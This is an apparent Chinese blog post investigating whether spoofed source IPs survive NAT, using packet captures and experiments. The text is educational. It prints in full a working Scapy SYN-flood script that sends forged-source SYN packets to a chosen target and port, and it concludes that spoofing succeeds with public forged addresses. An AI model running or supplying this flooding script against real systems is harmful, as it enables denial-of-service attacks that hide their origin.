昨天有个朋友问我ip伪造的可行性,以前没深入了解过,于是上网搜索了一番,发现syn flood普遍利用了伪造源ip的方式进行攻击。
现在需求变成:
这个需求能实现吗?又是怎么实现的?这个问题乍一看很显然可以,但是细细想来还是有些问题不太明白。
想了一下,这个需求在我认知里面好像是不能实现的,由于之前写syn端口扫描器的时候,在syn tcp数据包中需要填写源ip和源端口,这个源ip是某一个网卡的ip,在自己的电脑上,也就是类似于172.23.22.234的私有ip。于是我产生一个疑问,就是伪造源ip真的有用的话,那么也就代表在正常tcp握手时,server端会识别syn包里的源ip(也就是私有地址),那server端是怎么知道把ack+syn包发到哪里呢?
做个实验,使用wireshark抓包,然后访问百度。
可以看到syn数据包的源ip确实为内网的私有地址172.23.22.234,那么server端拿到的数据包呢,通过tcpdump抓一下包试试
可以看到server端拿到的包源ip为103.202.xxx.xxx也就是我的公网地址。
于是我有点困惑,这样看来伪造数据包的源ip还有用吗?于是我带着疑问问了问别的师傅。
在师傅的一番解释(胡言乱语)后,我还是没明白,于是继续实验。
首先看了一篇数据包发送寻址的文章一个数据包在网络中到底是怎么游走的?
摘抄出其中比较关键的句子:
那么为什么client发送的源ip到了server端就变了,变成了client的公网ip。这是因为在经过路由器时,会发生网络地址(NAT)转换,路由器通过NAT将源数据包中的源IP由172.23.22.234转换为103.202.xxx.xxx,并且将TCP端口号转换为60159,然后在路由器内部生成转换表。
那么疑问来了,此时伪造数据包中的源ip还有用吗?经过路由器做了nat转换后最终还是会变成公网ip?
还是做个实验来看,首先使用python构造raw syn包,伪造其中的源ip。
#!/usr/bin/python3
from sys import stdout
from scapy.all import *
from random import randint
from argparse import ArgumentParser
def randomIP():
# ip = ".".join(map(str, (randint(0, 255)for _ in range(4))))
ip = "192.168.1.20"
print(f"srcip: {ip}")
return ip
def randInt():
x = randint(1000, 9000)
return x
def SYN_Flood(dstIP, dstPort, counter):
total = 0
print ("Packets are sending ...")
for x in range (0, counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP ()
IP_Packet.src = randomIP()
IP_Packet.dst = dstIP
TCP_Packet = TCP ()
TCP_Packet.sport = s_port
TCP_Packet.dport = int(dstPort)
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
stdout.write("\nTotal packets sent: %i\n" % total)
def main():
parser = ArgumentParser()
parser.add_argument('--target', '-t', help='target IP address')
parser.add_argument('--port', '-p', help='target port number')
parser.add_argument('--count', '-c', help='number of packets')
parser.add_argument('--version', '-v', action='version', version='Python SynFlood Tool v2.0.1\n@EmreOvunc')
parser.epilog = "Usage: python3 py3_synflood_cmd.py -t 10.20.30.40 -p 8080 -c 1"
args = parser.parse_args()
if args.target is not None:
if args.port is not None:
if args.count is None:
print('[!]You did not use --counter/-c parameter, so 1 packet will be sent..')
SYN_Flood(args.target, args.port, 1)
else:
SYN_Flood(args.target, args.port, int(args.count))
else:
print('[-]Please, use --port/-p to give target\'s port!')
print('[!]Example: -p 445')
print('[?] -h for help')
exit()
else:
print('''usage: py3_synflood_cmd.py [-h] [--target TARGET] [--port PORT]
[--count COUNT] [--version]
optional arguments:
-h, --help show this help message and exit
--target TARGET, -t TARGET
target IP address
--port PORT, -p PORT target port number
--count COUNT, -c COUNT
number of packets
--version, -v show program's version number and exit''')
exit()
main()
修改其源ip来测试一下:
首先测试伪造源ip为一个随机的公网ip:
发现server收到的源ip就是我们伪造的公网ip。看来经过路由器时,对源ip是公网ip的数据包不做nat转换。
接下来将数据包的源ip改成私有ip试试,按照猜想此时server收到的源ip应该是client的公网出口ip:
确实是这样,猜想正确,数据包经过路由器被NAT转换了。
回头看看,问题就是对nat转换的过程不够清晰,路由器只对特定的数据包做nat转换。
伪造源ip对目标发包的需求是完全可以实现的,但是需要保证伪造的src ip不能被路由器进行nat转换。一般情况下,保证伪造的源ip为公有ip即可。
When a packet with a private IP address passes through a NAT router, its source IP address will be replaced with the router's public IP address, and the source port number may also be modified. This means that if your packets are NATed before leaving your local network, you cannot directly spoof a source IP address because the NAT router will overwrite it.